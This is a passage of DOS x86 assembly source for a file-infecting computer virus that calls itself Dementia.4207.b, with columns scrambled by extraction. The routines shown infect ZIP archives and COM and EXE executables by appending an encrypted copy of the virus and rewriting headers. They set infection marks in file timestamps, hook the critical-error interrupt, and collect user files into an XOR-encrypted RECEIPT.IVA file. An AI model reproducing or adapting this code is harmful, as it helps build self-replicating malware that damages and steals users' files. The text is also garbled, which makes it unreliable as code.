ax,[bp-0ch] ; AX = number of central directory... ax,00h ; No central directory file header? wrt_last_cds ; Equal? Jump to write_last_cds

dec mov

ax ; Decrease number of central direc... [bp-0ch],ax ; Store number of central director...

mov mov mov mov

ax,'KP' ds:[00h],ax ax,201h ds:[02h],ax

mov mov mov call

bx,[bp-0ah] ; BX = file handle of !#TEMP#! cx,2ah ; Read forty-two bytes dx,04h ; DX = offset of central directory... read_file_

mov mov add mov add

cx,ds:[1ch] ; CX = filename length dx,ds:[1eh] ; DX = extra field length cx,dx ; Add extra field length to filena... dx,ds:[20h] ; DX = file comment length cx,dx ; CX = number of bytes to read

push mov call

cx dx,2eh read_file_

mov pop add call

bx,[bp-08h] ; BX = file handle of ZIP file cx ; Load CX from stack cx,2eh ; Add size of central directory fi... write_file

jmp wrt_last_cds: mov mov mov xor mov mov mov mov mov mov mov mov mov mov mov mov mov

; AX = low-order word of central d... ; Store low-order word of central ... ; AX = high-order word of central ... ; Store high-order word of central...

; Save CX at stack ; DX = offset of central directory...

cpy_cds_loop ax,0ah ; AX = version made by (version 1.... ds:[04h],ax ; Store version made by (version 1... ds:[06h],ax ; Store version needed to extract (... ax,ax ; AX = general purpose bit flag and... ds:[08h],ax ; Store general purpose bit flag ds:[0ah],ax ; Store compression method (the fil... ax,1801h ; AX = last modified file time ds:[0ch],ax ; Store last modified file time ax,1d01h ; AX = last modified file date ds:[0eh],ax ; Store last modified file date ax,[bp-20h] ; AX = low-order word of CRC-32 ch... ds:[10h],ax ; Store low-order word of CRC-32 c... ax,[bp-1eh] ; AX = high-order word of CRC-32 c... ds:[12h],ax ; Store high-order word of CRC-32 ... ax,[bp-1ch] ; AX = low-order word of filesize ds:[14h],ax ; Store low-order word of compress... ds:[18h],ax ; Store low-order word of uncompre...

mov mov mov mov mov xor mov mov mov mov mov mov mov mov mov mov

ax,[bp-1ah] ; AX = high-order word of filesize ds:[16h],ax ; Store high-order word of compres... ds:[1ah],ax ; Store high-order word of compres... ax,0ch ; AX = filename length (12 bytes) ds:[1ch],ax ; Store filename length (12 bytes) ax,ax ; AX = extra field length, file co... ds:[1eh],ax ; Store extra field length (0 bytes) ds:[20h],ax ; Store file comment length (0 bytes) ds:[22h],ax ; Store disk number start (0 bytes) ds:[24h],ax ; Store internal file attributes ds:[26h],ax ; Store low-order word of external... ds:[28h],ax ; Store high-order word of externa... ax,[bp-18h] ; AX = low-order word of offset of... ds:[2ah],ax ; Store low-order word of relative... ax,[bp-16h] ; AX = high-order word of offset o... ds:[2ch],ax ; Store high-order word of relativ...

mov mov call

bx,[bp-08h] ; BX = file handle of ZIP file cx,2eh ; Write forty-six bytes write_file

push pop

cs ds

lea nop mov nop call

dx,filename

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

mov mov mov mov

ax,'KP' ds:[00h],ax ax,605h ds:[02h],ax

mov mov mov call

bx,[bp-0ah] ; BX = file handle of !#TEMP#! cx,12h ; Read eightteen bytes dx,04h ; DX = offset of end of central di... read_file_

mov push mov call

cx,ds:[14h] ; CX = zipfile comment length cx ; Save CX at stack dx,16h ; DX = offset of zipfile comment read_file_

mov inc mov mov inc mov mov mov add nop adc mov mov mov

ax,ds:[08h] ; AX = total number of entries in ... ax ; Increase total number of entries... ds:[08h],ax ; Store total number of entries in... ax,ds:[0ah] ; AX = total number of entries in ... ax ; Increase total number of entries... ds:[0ah],ax ; Store total number of entries in... ax,ds:[0ch] ; AX = low-order word of size of t... dx,ds:[0eh] ; DX = high-order word of size of ... ax,3ah ; Add size of central directory fi...

cx,0ch

; Save CS at stack ; Load DS from stack (CS) ; DX = offset of filename ; Write twelve bytes

write_file_

; AX = low-order word of end of ce... ; Store low-order word of end of c... ; AX = high-order word of end of c... ; Store high-order word of end of ...

dx,00h ; Convert to 32-bit ds:[0ch],ax ; Store low-order word of size of ... ds:[0eh],dx ; Store high-order word of size of... ax,ds:[10h] ; AX = low-order word of offset of...

mov add nop adc mov add mov add adc mov mov

dx,ds:[12h] ; DX = high-order word of offset o... ax,2ah ; Add size of local file header to...

mov pop add call

bx,[bp-08h] ; BX = file handle of ZIP file cx ; Load CX from stack cx,16h ; Add size of end of central direc... write_file

mov call

bx,[bp-14h] close_file

; BX = file handle of HOT_BBS!.COM

lea nop call

dx,filename

; DX = offset of filename

dx,00h bx,[bp-1ah] dx,bx bx,[bp-1ch] ax,bx dx,00h ds:[10h],ax ds:[12h],dx

; Convert to 32-bit ; BX = high-order word of filesize ; Add high-order word of filesize ... ; BX = low-order word of filesize ; Add low-order word of filesize t... ; Convert to 32-bit ; Store low-order word of offset o... ; Store high-order word of offset ...

delete_file

jmp test_receipt: mov or jz

call_mark_

jmp exam_extra: mov mov mov call

call_mark_

ax,[bp-12h] ; AX = found RECEIPT.IVA ax,ax ; Didn't found RECEIPT.IVA exam_extra ; Zero? Jump to exam_extra

bx,[bp-08h] cx,[bp-22h] dx,[bp-24h] set_pos_sof_

; BX = file handle of ZIP file ; CX = high-order word of extra field ; DX = low-order word of extra field

mov add mov mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer es,ax ; ES = segment of data buffer

mov call

cx,400h read_file

cld xor xor lodsw cmp je

; Read one thousand and twenty-fou...

; Clear direction flag ; Zero SI ; Zero DI ; AX = word of extra field ax,1492h ; Found infection mark? comp_extra ; Equal? Jump to comp_extra si,si di,di

jmp comp_extra: lodsw cmp je

call_mark_

jmp load_extra: lodsw mov lodsb

call_mark_

; AX = word of extra field ax,1776h ; Found infection mark? load_extra ; Equal? Jump to load_extra

dx,ax

; AX = 16-bit decryption key ; DX = " " " ; AL = number of file specifications

xor mov push decrypt_next: push mov decrypt_spec: lodsw xor stosw

cx,cx cl,al ax

; Zero CX ; CL = number of filespecification ; Save AX at stack

cx cx,07h

; Save CX at stack ; Decryption fourteen bytes

ax,dx

; AX = word of encrypted file spec... ; Decrypt word of file specification ; Store word of file specification

loop

decrypt_spec

pop

cx

loop

decrypt_next

mov add mov

ax,ds ax,40h es,ax

; AX = segment of data buffer ; AX = segment of pathname ; ES = " " "

push push pop

ds es ds

; Save DS at stack ; Save ES at stack ; Load DS from stack (ES)

mov xor xor int pop

ah,47h dl,dl si,si 21h ds

; Get current directory ; Default drive ; Zero SI

mov add mov

ax,es ax,04h es,ax

; AX = segment of pathname ; AX = segment of end of pathname ; ES = " " " " "

xor mov stosb xor stosb

di,di al,'\'

push mov int mov mov pop

es ; Save ES at stack ah,2fh ; Get disk transfer area address 21h [bp-26h],es ; Store segment of disk transfer a... [bp-28h],bx ; Store offset of disk transfer ar... es ; Load ES from stack

push mov add mov

ds ; Save DS at stack ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area

xor mov int

dx,dx ah,1ah 21h

lea nop call mov mov

dx,receipt_iva

al,al

; Load CX from stack

; Load DS from stack

; Zero DI ; AL = backslash ; Store backslash ; AL = zero ; Store zero

; Zero DX ; Set disk transfer area address

; DX = offset of receipt_iva

create_file bx,ax ; BX = file handle of RECEIPT.IVA [bp-14h],ax ; Store file handle of RECEIPT.IVA

pop

ds

pop mov call

ax ; Load AX from stack dx,01h ; Don't store backslash create_recei

mov call

bx,[bp-14h] set_pos_sof

mov add mov mov encrypt_rece: mov call cmp je

; Load DS from stack

; BX = file handle of RECEIPT.IVA

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area es,ax ; ES = " " " " " cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? set_dta_addr ; Equal? Jump to set_dta_addr

push xor sub mov call

ax ; Save AX at stack dx,dx ; Zero DX dx,ax ; DX = -number of bytes actually read cx,-01h set_pos_cfp

pop push

ax ax

; Load AX from stack ; Save AX at stack

cx,ax si,si di,di

; CX = number of bytes actually read ; Zero SI ; Zero DI

mov xor xor encrypt_ipt_: lodsb xor stosb loop pop mov call jmp set_dta_addr: call

; AL = byte of RECEIPT.IVA ; Encrypt byte of RECEIPT.IVA ; Store encrypted byte of RECEIPT.IVA encrypt_ipt_ al,0ffh

ax cx,ax write_file

; Load AX from stack ; CX = number of bytes actually read

encrypt_rece close_file

mov mov mov int

ds,[bp-26h] ; DS = segment of disk transfer area dx,[bp-28h] ; DX = offset of disk transfer area ah,1ah ; Set disk transfer area address 21h

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+40h ds,ax ; DS = segment of data buffer

xor mov int

dx,dx ah,3bh 21h

; Zero DX ; Set current directory

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

push pop

cs es

; Save CS at stack ; Load ES from stack (CS)

lea nop lea nop mov rep jmp call_mark_: mov call

si,receipt_iva

; SI = offset of receipt_iva

di,filename

; DI = offset of filename

cx,0dh movsb

; Move thirteen bytes ; Move RECEIPT.IVA to filename

open_filenam bx,[bp-08h] infect_mark

; BX = file handle of ZIP file

mov call

bx,[bp-08h] close_file

; BX = file handle of ZIP file

mov call

bx,[bp-0ah] close_file

; BX = file handle of !#TEMP#!

dx,temp_file

; DX = offset of temp_file

lea nop call inf_zip_exit: call

delete_file int24_load

pop

es ds di si dx cx bx ax

mov

sp,bp

; SP = stack pointer

pop

bp

; Load BP from stack

ret endp

; Return!

infect_com proc near push bp mov bp,sp sub sp,04h

; Infect COM file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

mov nop nop mov

ah,00h

; COM executable

mov mov mov mov

ax,ds:[00h] ; AX = word of original code of CO... word ptr cs:[origin_code],ax al,ds:[02h] ; AL = byte of original code of CO... cs:[origin_code+02h],al

call

encrypt_copy

call mov mov

set_pos_eof [bp-04h],ax [bp-02h],dx

push mov cmp pop je

ax ; Save AX at stack ax,cs:[tst_filesize] ax,01h ; Don't test filesize? ax ; Load AX from stack calc_buf_seg ; Equal? Jump to calc_buf_seg

cmp jne

dx,00h ; Filesize too large? inf_com_exit ; Not equal? Jump to inf_com_exit

cs:[com_or_exe],ah

; Store COM executable

; Store low-order word of filesize ; Store high-order word of filesize

cmp jb calc_buf_seg: add jb

ax,1000h inf_com_exit

; Filesize too small? ; Below? Jump to inf_com_exit

ax,(code_end-code_begin) inf_com_exit ; Filesize too large? Jump to inf_...

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

mov mov and sub

cx,10h ; CX = number of bytes to add to f... ax,[bp-04h] ; AX = filesize ax,0000000000001111b cx,ax ; CX = number of bytes to add to f...

mov add mov

ax,[bp-04h] ; AX = filesize ax,cx ; AX = offset of virus within file [bp-04h],ax ; Store offset of virus within file

call

write_file_

mov call

cx,(code_end-code_begin) write_file

mov mov

al,0e9h ds:[00h],al

mov sub mov

ax,[bp-04h] ; AX = filesize ax,03h ; Subtract size of opcode JMP imm16 ds:[01h],ax ; Store 16-bit immediate

call

set_pos_sof

mov call inf_com_exit: mov pop

; JMP imm16 (opcode 0e9h) ; Store JMP imm16

cx,03h write_file

; Write three bytes

sp,bp

; SP = stack pointer

bp

; Load BP from stack

ret endp

; Return!

infect_exe proc near push bp mov bp,sp sub sp,04h

; Infect EXE file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

mov nop nop mov

ah,01h

; EXE executable

call mov mov

set_pos_eof [bp-04h],ax [bp-02h],dx

and mov sub

ax,0000000000001111b cx,10h ; CX = number of bytes to add to f... cx,ax ; CX = " " " " " " "

mov mov

ax,[bp-04h] dx,[bp-02h]

cs:[com_or_exe],ah

; Store EXE executable

; Store low-order word of filesize ; Store high-order word of filesize

; AX = low-order word of filesize ; DX = high-order word of filesize

add adc mov mov

ax,cx ; Add number of bytes to add to fi... dx,00h ; Convert to 32-bit [bp-04h],ax ; Store low-order word of pointer ... [bp-02h],dx ; Store high-order word of pointer...

call

write_file_

push mov mov

bx ; Save BX at stack ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ...

mov mov shr sub

bx,ds:[08h] ; BX = header size in paragraphs cl,0ch ; Divide by four thousand and nine... bx,cl ; BX = header size in sixty-five t... dx,bx ; Subtract header size in sixty fi...

mov mov shl sub sbb mov mov pop

bx,ds:[08h] cl,04h bx,cl ax,bx dx,00h [bp-04h],ax [bp-02h],dx bx

mov mov mov mov

ax,ds:[14h] ; AX = original instruction pointer cs:[instruct_ptr],ax ax,ds:[16h] ; AX = original code segment cs:[code_seg],ax ; Store original code segment

xor mov mov

ax,ax ; Zero AX ds:[14h],ax ; Store initial IP cs:[initial_ip],ax ; Store "

mov test jz

ax,[bp-02h] ; AX = high-order word of pointer ... ax,1111111111110000b calc_ins_ptr ; Zero? Jump to calc_ins_ptr

jmp calc_ins_ptr: mov shl

; BX = header size in paragraphs Multiply by paragraphs BX = header size Subtract header size from filesize Convert to 32-bit ; Store low-order word of pointer ... ; Store high-order word of pointer... ; Load BX from stack ; ; ; ;

"

inf_exe_exit cl,0ch ax,cl

; Multiply by sixty-five thousand ...

mov mov shr add mov mov

dx,[bp-04h] ; DX = low-order word of pointer t... cl,04h ; Divide by paragraphs dx,cl ; DX = low-order word of pointer t... ax,dx ; AX = initial CS relative to star... ds:[16h],ax ; Store initial CS relative to sta... cs:[initial_cs],ax ; " " " " " "

push mov mov mov mov pop

ax ; Save AX at stack ax,ds:[0eh] ; AX = initial SS relative to star... cs:[stack_seg],ax ; Store initial SS relative to sta... ax,ds:[10h] ; AX = initial SP cs:[stack_ptr],ax ; Store initial SP ax ; Load AX from stack

add jae

ax,(code_end-code_begin+0fh)/10h store_stack ; Above or equal? Jump to store_stack

jmp store_stack: mov

inf_exe_exit ds:[0eh],ax

; Store initial SS relative to sta...

mov mov

ax,100h ds:[10h],ax

push mov mov

bx ; Save BX at stack ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ...

mov mov shr add

bx,ds:[08h] ; BX = header size in paragraphs cl,0ch ; Divide by four thousand and nine... bx,cl ; BX = header size in sixty-five t... dx,bx ; Add header size in sixty-five th...

mov mov shl add adc mov mov pop

bx,ds:[08h] cl,04h bx,cl ax,bx dx,00h [bp-04h],ax [bp-02h],dx bx

mov mov add adc

ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ... ax,(code_end-code_begin) dx,00h ; Convet to 32-bit

mov shl

cl,07h dx,cl

; Multiply by one hundred and twen...

push mov shr add pop

ax cl,09h ax,cl dx,ax ax

; ; ; ; ;

and jz

ax,0000000000011111b store_pages ; Zero? Jump to store_pages

inc

dx

jmp store_pages: mov store_pages_: mov mov mov cmp jae mov store_maximu: mov

; AX = initial SP ; Store initial SP

; BX = header size in paragraphs Multiply by paragraphs BX = header size Add header size to filesize Convert to 32-bit ; Store low-order word of pointer ... ; Store high-order word of pointer... ; Load BX from stack ; ; ; ;

Save AX at stack Divide by pages AX = low-order word of pointer t... DX = number of bytes on last 512... Load AX from stack

; Increase number of bytes on last...

store_pages_ ax,200h

; AX = total number of 512-bytes p...

ds:[02h],ax ds:[04h],dx

; Store total number of 512-bytes ... ; Store number of bytes on last 51...

ax,ds:[0ch] ; AX = maximum paragraphs to alloc... ax,10h ; Maximum paragraphs to allocate ...? store_maximu ; Above or equal? Jump to store_ma... ax,10h ds:[0ch],ax

call

set_pos_sof

mov call

cx,20h write_file

call

set_pos_eof

call

encrypt_copy

; AX = new maximum paragraphs to a... ; Store maximum paragraphs to allo...

; Write thirty-two bytes

mov call inf_exe_exit: mov

cx,(code_end-code_begin) write_file

pop

sp,bp

; SP = stack pointer

bp

; Load BP from stack

ret endp

; Return!

encrypt_copy proc push bx

near

; Move virus to data buffer and en... ; Save BX at stack

mov int mov xor

ah,2ch 21h bx,cx bx,dx

; Get system time

mov int xor xor mov

ah,2ah 21h bx,cx bx,dx dx,bx

; Get system date

mov

cs:[decrypt_key],dx ; Store decryption key

pop

bx

cld mov add mov

; Clear direction flag ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h es,ax ; ES = segment of data buffer

push pop

cs ds

xor xor mov rep

si,si ; Zero SI di,di ; Zero DI cx,(code_end-code_begin) movsb ; Move virus to data buffer

push pop

es ds

lea mov mov

si,crypt_begin-02h ; SI = offset of crypt_end di,si ; DI = " " " cx,(crypt_begin-crypt_end-02h)/02h

std encrypt_loop: lodsw xor stosw loop

; BX = hour and minute ; BX = 16-bit random number

; BX = 16-bit random number ; BX = decryption key ; DX = " "

; Load BX from stack

; Save CS at stack ; Load DS from stack (CS)

; Save ES at stack ; Load DS from stack (ES)

; Set direction flag

ax,dx

; AX = word of plain code ; Encrypt word ; Store encrypted word

encrypt_loop

cld

; Clear direction flag

ret endp

; Return!

int24_store

proc

near

; Get and set interrupt vector 24h

push

bx dx ds es

mov int mov mov

ax,3524h ; Get interrupt vector 24h 21h word ptr cs:[int24_addr],bx word ptr cs:[int24_addr+02h],es

push pop

cs ds

lea mov int

dx,int24_virus ax,2524h 21h

; DX = offset of int24_virus ; Set interrupt vector 24h

pop

es ds dx bx

; Load registers from stack

ret endp

; Save registers at stack

; Save CS at stack ; Load DS from stack (CS)

; Return!

int24_load proc near push dx ds

; Set interrupt vector 24h ; Load registers from stack

mov mov mov int

dx,word ptr cs:[int24_addr] ds,word ptr cs:[int24_addr+02h] ax,2524h ; Set interrupt vector 24h 21h

pop

ds dx

ret endp

; Load registers from stack ; Return!

int24_virus proc near mov al,03h iret endp

; Interrupt 24h of Dementia.4207.b ; Fail system call in progress ; Interrupt return!

calc_crc32 proc near ; Calculate CRC-32 checksum mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer add mov

ax,40h es,ax

; AX = segment of CRC-32 table ; ES = " " " "

xor xor gen_crc_tab: xor xor

di,di cx,cx

; Zero DI ; Zero CX

dx,dx ax,ax

; Zero DX ; Zero AX

mov push mov gen_crc_loop: clc rcr rcr jnc

al,cl cx cx,08h

; AL = counter ; Save CX at stack ; Calculate each CRC-32 table entr...

xor xor

; Clear carry flag dx,01h ; Rotate DX through carry one bit ... ax,01h ; Rotate AX through carry one bit ... carry_loop ; No carry? Jump to carry_loop dx,0edb8h ax,8320h

; DX = high-order word of CRC-32 t... ; AX = low-order word of CRC-32 ta...

carry_loop: loop

gen_crc_loop

mov mov

es:[di],ax es:[di+02h],dx

add

di,04h

pop inc cmp jne

cx ; Load CX from stack cx ; Increase count register cx,100h ; Generated enough CRC-32 table en... gen_crc_tab ; Not equal? Jump to gen_crc_tab

call

set_pos_sof

mov mov read_block: push mov call cmp je

; Store low-order word of CRC-32 t... ; Store high-order word of CRC-32 ...

; DI = offset of next CRC-32 table...

dx,0ffffh ax,0ffffh

; DX = high-order word of CRC-32 c... ; AX = low-order word of CRC-32 ch...

ax dx ; Save registers at stack cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? calc_crc_xit ; Equal? Jump to calc_crc_xit

mov

cx,ax

; CX = number of bytes actually read

pop

dx ax

; Load registers from stack

si,si

; Zero SI

bx cx bh,bh bl,[si] si

; Save registers at stack ; Zero BH ; BL = byte of file ; Increase index register

xor mov shl mov

bl,al cl,02h bx,cl di,bx

; Exclusive OR (XOR) byte of file ...

mov mov mov xor

al,ah ah,dl dl,dh dh,dh

; ; ; ;

mov xor mov xor

bx,es:[di] ; BX = low-order word of CRC-32 ta... ax,bx ; AX = low-order word of CRC-32 ch... bx,es:[di+02h] ; BX = high-order word of CRC-32 t... dx,bx ; DX = high-order word of CRC-32 c...

pop

cx bx

loop

cal_crc_loop

xor cal_crc_loop: push xor mov inc

jmp calc_crc_xit: pop xor xor ret endp

; Multiply by four ; DI = offset of next CRC-32 table... AL = AH = DL = Zero

low-order byte of low-order... high-order byte of low-orde... low-order byte of high-orde... DH

; Load registers from stack

read_block dx ax

; Load registers from stack

dx,0ffffh ax,0ffffh

; DX = high-order word of CRC-32 c... ; AX = low-order word of CRC-32 ch...

; Return!

create_recei proc near push bp mov bp,sp sub sp,12h

; Create RECEIPT.IVA file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

mov mov mov mov

[bp-08h],ax [bp-10h],bx [bp-02h],dx [bp-06h],ds

; ; ; ;

Store Store Store Store

number of file specifications file handle of RECEIPT.IVA store or don't store backs... segment of file specificat...

mov

ah,3bh

; Set current directory

push pop

es ds

; Save ES at stack ; Load DS from stack (ES)

xor int

dx,dx 21h

; Zero DX

mov xor mov xor find_first_: mov push mov call push jnc

ax,[bp-08h] ; AX = number of file specifications cx,cx ; Zero CX cl,al ; CL = number of file specifications dx,dx ; Zero DX

jmp find_next_: mov add mov

fnd_nxt_loop

ds,[bp-06h] ; DS = segment of file specification cx ; Save CX at stack cx,0000000000000111b find_first dx ; Save DX at stack find_next_ ; No error? Jump to find_next_

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area

mov call mov

dx,1eh ; DX = offset of filename open_file [bp-12h],ax ; Store file handle of file within...

mov call

bx,[bp-10h] set_pos_eof

push mov add mov

ds ; Save DS at stack ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+44h ds,ax ; DS = segment of end of pathname

mov mov call pop

cx,40h ; Write sixty-four bytes bx,[bp-10h] ; BX = file handle of RECEIPT.IVA write_file ds ; Load DS from stack

mov mov call

cx,0eh ; Write fourteen bytes dx,1eh ; DX = offset of filename write_file_

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+4ch ds,ax ; DS = segment of data buffer

mov

bx,[bp-12h]

; BX = file handle of RECEIPT.IVA

; BX = file handle of file within ...

call mov mov

set_pos_eof ds:[00h],ax ds:[02h],dx

mov mov call

bx,[bp-10h] ; BX = file handle of RECEIPT.IVA cx,04h ; Write four bytes write_file

mov call copy_file: mov mov call cmp je mov mov call jmp call_fnd_nxt: mov call call jc jmp fnd_nxt_loop: pop

; Store low-order word of filesize ; Store high-order word of filesize

bx,[bp-12h] set_pos_sof

; BX = file handle of file within ...

bx,[bp-12h] ; BX = file handle of file within ... cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? call_fnd_nxt ; Equal? Jump to call_fnd_nxt cx,ax ; CX = number of bytes actually read bx,[bp-10h] ; BX = file handle of RECEIPT.IVA write_file copy_file bx,[bp-12h] close_file

; BX = file handle of file within ...

find_next fnd_nxt_loop

; Error? Jump to fnd_nxt_loop

find_next_ dx cx

; Load registers from stack

add

dx,0eh

; DX = offset of next file specifi...

dec cmp je

cx cx,00h copy_name

; Decrease count register ; No more files? ; Equal? Jump to copy_name

jmp copy_name: xor find_first__: push push pop

find_first_ cx,cx

; Zero CX

cx cs ds

; Save CX at stack ; Save CS at stack ; Load DS from stack (CS)

lea nop mov call jc

dx,file_specifi

pop push

cx cx

; DX = offset of file_specifi

cx,0000000000010111b find_first receip_exit ; Error? Jump to receip_exit ; Load CX from stack ; Save CX at stack

jmp found_dir: push

test_count cx

; Save CX at stack

mov test_count: cmp

cx,01h

; Don't examine disk transfer area

cx,00h

; Examine disk transfer area?

je

examine_dta

; Equal? Jump to examine_dta

call jc

find_next receipt_exit

; Error? Jump to receipt_exit

dec

cx

jmp examine_dta: pop inc

; Decrease CX

test_count cx cx

; Load CX from stack ; Increase count register

mov add mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+44h es,ax ; ES = segment of end of pathname ax,04h ; AX = segment of disk transfer area ds,ax ; DS = " " " " "

mov lodsb test je

si,15h

mov lodsb cmp je

si,1eh

mov mov mov cmp je

ax,[bp-02h] ; AX = store or don't store backslash di,ax ; DI = offset of end of pathname si,1eh ; SI = offset of filename al,01h ; Don't store backslash? copy_name_ ; Equal? Jump to copy_name_

mov stosb copy_name_: lodsb cmp je

; SI = offset of attribute of file... ; AL = attribute of file found al,00010000b ; Directory? found_dir ; Equal? Jump to found_dir ; SI = offset of filename ; AL = byte of filename al,'.' ; Directory? found_dir ; Equal? Jump to found_dir

al,'\'

; AL = byte of filename al,00h ; End of filename? store_zero ; Equal? Jump to store_zero

stosb jmp store_zero: mov xor stosb

; AL = backslash ; Store backslash

; Store byte of filename copy_name_ dx,di al,al

; DX = offset of end of pathname ; AL = zero ; Store zero

mov mov mov push call pop

ax,[bp-08h] ; AX = number of file specifications bx,[bp-10h] ; BX = file handle of RECEIPT.IVA ds,[bp-06h] ; DS = segment of file specifictions cx ; Save CX at stack create_recei cx ; Load CX from stack

mov

ah,3bh

; Set current directory

push pop

es ds

; Save ES at stack ; Load DS from stack (ES)

xor

dx,dx

; Zero DX

mov xor stosb

di,[bp-02h] ; DI = offset of end of pathname al,al ; AL = zero ; Store zero

int

21h

jmp receipt_exit: pop receip_exit: mov

find_first__

pop

cx

; Load CX from stack

sp,bp

; SP = stack pointer

bp

; Load BP from stack

ret endp open_file

; Return!

proc mov xor int mov

near ax,3dffh cx,cx 21h bx,ax

ret endp

; Open file ; Open file ; CL = attribute mask of files to ... ; BX = file handle ; Return!

close_file proc near mov ah,3eh int 21h ret endp

; Close file ; Close file

; Return!

find_first proc near mov ax,4e00h int 21h ret endp find_next

; Return!

proc mov int ret endp

load_info

ret endp

near ah,4fh 21h

; Find next matching file ; Find next matching file

; Return!

proc mov int mov mov

; Find first matching file ; Find first matching file

near ax,5700h 21h [bp-04h],cx [bp-02h],dx

; Get file's date and time ; Get file's date and time ; Store file time ; Store file date

; Return!

infect_mark proc near ; Infection mark mov ax,5701h ; Set file's date and time mov cx,[bp-04h] ; CX = file time mov dx,[bp-02h] ; DX = file date and cx,1111111111100000b or cx,0000000000000001b int 21h

ret endp read_file

; Return!

proc

near dx,dx

; Read from file ; Zero DX

read_file_ proc near mov ah,3fh int 21h

; Read from file ; Read from file

xor

ret endp endp

; Return!

create_file proc near mov ah,3ch

; Create file ; Create file

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

xor int

cx,cx 21h

; CX = file attributes

ret endp

; Return!

write_file proc near xor dx,dx

; Write to file ; Zero DX

write_file_ proc near mov ah,40h int 21h

; Write to file ; Write to file

ret endp endp set_pos_cfp proc near mov ax,4201h int 21h ret endp

; Return!

; Set current file position (CFP) ; Set current file position (CFP)

; Return!

set_pos_eof proc near ; Set current file position (EOF) mov ax,4202h ; Set current file position (EOF) xor cx,cx ; Zero CX cwd ; Zero DX int 21h ret endp

; Return!

set_pos_sof proc near xor cx,cx xor dx,dx

; Set current file position (SOF) ; Zero CX ; Zero DX

set_pos_sof_ proc near mov ax,4200h int 21h

; Set current file position (SOF) ; Set current file position (SOF)

ret

; Return!

endp endp delete_file proc push cs pop ds mov xor int ret endp file_begin: mov mov mov mov

near

; Delete file ; Save CS at stack ; Load DS from stack (CS)

ah,41h cx,cx 21h

; Delete file ; CL = attribute mask for deletion

; Return!

cx,(crypt_end_-crypt_begin_)/02h si,(crypt_begin_-file_begin+100h) di,si ; DI = offset of crypt_begin_ dx,1995h ; DX = decryption key

push pop decrypt_loo_: lodsw xor stosw

cs cs ds es

jmp decrypt_lo__: loop crypt_begin_: mov int

decrypt_lo__

ax,dx

; Save segments at stack ; Load segments from stack (CS) ; AX = word of encrypted code ; Decrypt two bytes ; Store two decrypted bytes

decrypt_loo_ ax,01h 10h

; Set video mode

mov mov

ax,0b800h es,ax

; AX = segment of text video RAM ; ES = " " " " "

xor mov mov rep

di,di cx,3e8h ax,0f20h stosw

; Zero DI ; Store one thousand bytes ; Bright white background color, g... ; Overwrite text video RAM

xor mov mov

di,di ; Zero DI si,(gfx_begin-file_begin+100h) cx,(gfx_end-gfx_begin)

lodsb cmp jne

; AL = byte of gfx_begin al,0ffh ; Write a string? store_gfx ; Not equal? Jump to store_gfx

lodsb dec cmp je

; AL = byte of gfx_begin cx ; Derease count register al,0ffh ; Write a single character? store_gfx ; Equal? Jump to store_gfx

push xor mov lodsb mov lodsb mov mov

cx si ds cx,cx cl,al

load_gfx:

bl,al bh,al si,bx

; Save registers at stack ; Zero CX ; CL = size of string ; AL = byte of gfx_begin ; BL = low-order byte of offset of... ; AL = byte of gfx_begin ; BH = high-order byte of offset o... ; SI = offset of string within gfx...

push pop

es ds

; Save ES at stack ; Load DS from stack (ES)

rep pop

movsb ds si cx

; Move string to text video RAM ; Load registers at stack

add

si,02h

; Add two to index register

sub

cx,02h

; Subtract two from count register

jmp store_gfx: stosb dont_sto_gfx: loop

dont_sto_gfx ; Store a byte of gfx_begin load_gfx

mov mov int

ah,01h cx,2020h 10h

; Set text-mode cursor shape ; CX = cursor start, options, botto...

mov mov mov mov int

ax,600h cx,1700h dx,174fh bh,03h 10h

; Scroll up window (clear entire w...) ; CX = row and column of window's u... ; DX = row and column of window's l... ; BH = attributes used to write bla...

xor mov mov int

bx,bx dx,1600h ah,02h 10h

; BH = page number ; DX = row and column ; Set cursor position

mov mov mov push int

bx,05h cx,28h ax,9c4h ax bx cx 10h

; BX = attribute and page number ; CX = number of times to write ch... ; Write character and attribute at... ; Save registers at stack

mov mov int

dx,1800h ah,02h 10h

; DX = row and column ; Set cursor position

pop int

cx bx ax 10h

mov prepare_tele: mov call

bp,27h dx,1700h set_cursor

; Load registers from stack

; BP = length of row - 01h ; DX = row and column

cmp jb

bp,01h ; Beginning of row? examine_str ; Below? Jump to examine_str

mov mov int

cx,bp ax,0a20h 10h

; CX = number of times to write ch... ; Write character only at cursor p...

add call

dx,cx set_cursor

; Add current position in row to c...

mov sub dec

cx,28h cx,bp bp

; CX = length of row ; Subtract current position in row... ; Decrease base pointer

mov jmp examine_str: mov inc cmp jne mov call_teletyp: push call pop jmp

si,(_dementia_v-file_begin+100h) call_teletyp cx,28h si

; CX = length of row ; Increase index register

